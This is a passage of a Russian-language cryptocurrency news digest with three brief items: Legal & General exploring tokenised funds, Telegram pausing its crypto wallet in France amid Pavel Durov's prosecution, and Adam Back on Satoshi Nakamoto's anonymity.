  23. Лондонская компания Legal & General, управляющая активами пенсионных фондов в объеме более $1,5 трлн, рассматривает возможность выхода на рынок токенизированных активов. Официальный представитель управляющей компании Legal & General (L&G) заявил о намерении присоединиться к инициативам крупных традиционных игроков финансового рынка, таких как BlackRock, Franklin Templeton и Abrdn. Эти компании предлагают своим клиентам размещение активов в фондах денежного рынка на основе блокчейна. «Мы оцениваем способы предоставления ликвидных фондов Legal & General Investment Management в токенизированной форме», — заявили представители британской компании. В L&G отметили, что через оцифровку традиционных фондовых инструментов компания надеется добиться повышения эффективности использования денег, снижения операционных затрат, а также предложить клиентам больший выбор инвестиционных решений. Подробнее: https://bits.media/britanskaya-upravlyayushchaya-kompaniya-legal-general-vykhodit-na-rynok-kriptotokenizatsii/
  24. На фоне уголовного преследования основателя Telegram Павла Дурова и ужесточения правил регулирования во Франции, администрация мессенджера приняла решение о приостановке работы сервисов своего криптовалютного кошелька в стране. В компании отметили, что этот шаг позволит в дальнейшем избежать возможных юридических осложнений, несмотря на то, что Telegram полностью соответствует европейским нормам, в том числе требованиям Закона о цифровых услугах, который регулирует поведение цифровых платформ на территории Евросоюза. Напомним, что в конце августа французские власти арестовали Павла Дурова по обвинениям в управлении незаконным контентом на платформе Telegram, таким как распространение детской порнографии и незаконный оборот наркотиков. По заявлению правоохранительных органов, обвинения властей обоснованы положениями национального законодательства, которые требуют, чтобы любой, кто предлагает услуги шифрования на территории страны, уведомлял Агентство по кибербезопасности Франции (ANSSI) о технических характеристиках криптографических инструментов, включая исходный код программного обеспечения. Подробнее: https://bits.media/telegram-priostanovil-rabotu-svoego-kriptokoshelka-vo-frantsii/
  25. Основатель компании Blockstream Адам Бэк заявил, что анонимность Сатоси Накамото должна восприниматься как преимущество первой криптовалюты, ведь отсутствие фигуры основателя поддерживает ценность биткоина как уникального актива. Адам Бэк (Adam Back), отметил, что миссия Биткоина заключается в том, чтобы стать в конечном итоге мировой системой электронных денег. По его словам, то, что создатели фильма «Money Electric: The Bitcoin Mystery» общались с ранними разработчиками первой криптовалюты, поможет избежать ложных суждений об активе, но среди них нет настоящего Сатоси Накамото. «Я почти уверен, что никто из тех, о ком говорят, не является Сатоси Накамото. В мире много умных людей, которые умеют программировать и разбираются в криптографии, и то, что создатель Биткоина остался анонимным, следует воспринимать положительно для децентрализованной структуры монеты», — считает Бэк. Он добавил, что приветствует выпуск документальных фильмов о первой криптовалюте, так как они не позволят продвигать проекты, способные нанести ущерб Биткоину. По мнению Бэка, флагманская криптовалюта заслужила признание в мире и доказала свою полезность для мировой финансовой системы. Подробнее: https://bits.media/adam-bek-anonimnost-satosi-nakamoto-eto-blago-dlya-bitkoina/
×
×
  • Создать...